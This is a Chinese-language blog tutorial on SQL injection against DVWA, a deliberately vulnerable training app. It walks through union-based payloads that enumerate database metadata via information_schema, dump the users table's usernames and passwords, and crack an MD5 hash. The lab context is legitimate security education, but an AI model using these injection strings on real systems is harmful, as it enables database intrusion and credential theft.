DVWA中SQL注入笔记一(不懂你找我)

SQL注入笔记

目标:拿到表中登录用户账号密码;

[注意:]全过程中sql语句中的单引号都应该是英文输入法下的单引号;

  1. 入口

DVWA中SQL注入笔记一(不懂你找我)_第1张图片

 

  1. 检测能否进行sql注入:输入单引号,点击提交报错

DVWA中SQL注入笔记一(不懂你找我)_第2张图片

DVWA中SQL注入笔记一(不懂你找我)_第3张图片

  1. 使用参数1’ or 1=1;#进行注入可以得到当前表下所有信息

DVWA中SQL注入笔记一(不懂你找我)_第4张图片

 

  1. 可以通过1' or 1=1 order by 2;# (或9、8、7、6。。。依次尝试)判断出查询范围的字段个数;

DVWA中SQL注入笔记一(不懂你找我)_第5张图片

 

5、通过这里基本可以推断出后台支持的sql语句结构为:SELECT first_name, last_name FROM 表名 WHERE user_id = '$id'

 

6、可以使用1’ union all select 1,2;#参数注入获取得到相关参数,可以将1,2参数替换为sql参数进行查询,如替换成database():查询当前数据库;user():查询当前用户

DVWA中SQL注入笔记一(不懂你找我)_第6张图片

DVWA中SQL注入笔记一(不懂你找我)_第7张图片

备注:

database():查询当前数据库;

user():查询当前用户;

version():查询数据库版本信息;

@@datadir:全局变量datadir查看数据存储路径;

@@basedir:查看数据库安装路径;

@@hostname:查看hostname;

@@version_compile_os:查看操作系统;

7、我们可以使用CONCAT_WS()函数一次性查询多个函数内容;如:

 

1’union all select CONCAT_WS(CHAR(32,58,32),user(),database(),version(),@@hostname),2;#

解释:

CONCAT_WS(X,Y,Z):使用X格式的内容将Y,Z值连接起来;

CHAR(32,58,32):是通过ASCII编码后的结果,对应 :(空格:空格);

DVWA中SQL注入笔记一(不懂你找我)_第8张图片

 

8、mysql基础知识铺垫;

Information_schema:mysql数据库中存储元数据的数据库;

Tables:表中存储数据库名及其对应的数据表名;

Columns:表中存储数据表名及其列名;

Table_name:表名;

Table_schema:数据库名;

Column_name:表列名;

我们可以通过database()参数查到当前数据库为dvwa;

所以我们可以通过该数据库名查询得到该数据库下的表名:

'union select table_name,table_schema from information_schema.tables where table_schema ='dvwa';#

DVWA中SQL注入笔记一(不懂你找我)_第9张图片

 

9、由上一步可以看出dvwa库下面有两个表guestbook、users表,用户密码猜测应该在users表里,所有我们现在需要查询得到该表的列信息,使用columns表查看;

‘union select table_name,column_name from information_schema.columns where table_name=’users’;#

DVWA中SQL注入笔记一(不懂你找我)_第10张图片

 

10、由上一步可以知道该表中有user_id,first_name,last_name,user,password,avatar几个字段,因此可以知道表名users,字段名,所以可以查询出用户名和密码;

‘union Select user,password from users;#

DVWA中SQL注入笔记一(不懂你找我)_第11张图片

 

11、可以看到密码进行加密,可以使用相应工具进行解密;

21232f297a57a5a743894a0e4a801fc3   根据密码长度猜测是通过MD5进行加密,所以通过MD5进行解密。解密结果为admin

DVWA中SQL注入笔记一(不懂你找我)_第12张图片

到此成功拿到用户名密码相关信息;

你可能感兴趣的:(渗透测试,sql注入,mysql,sql,数据库)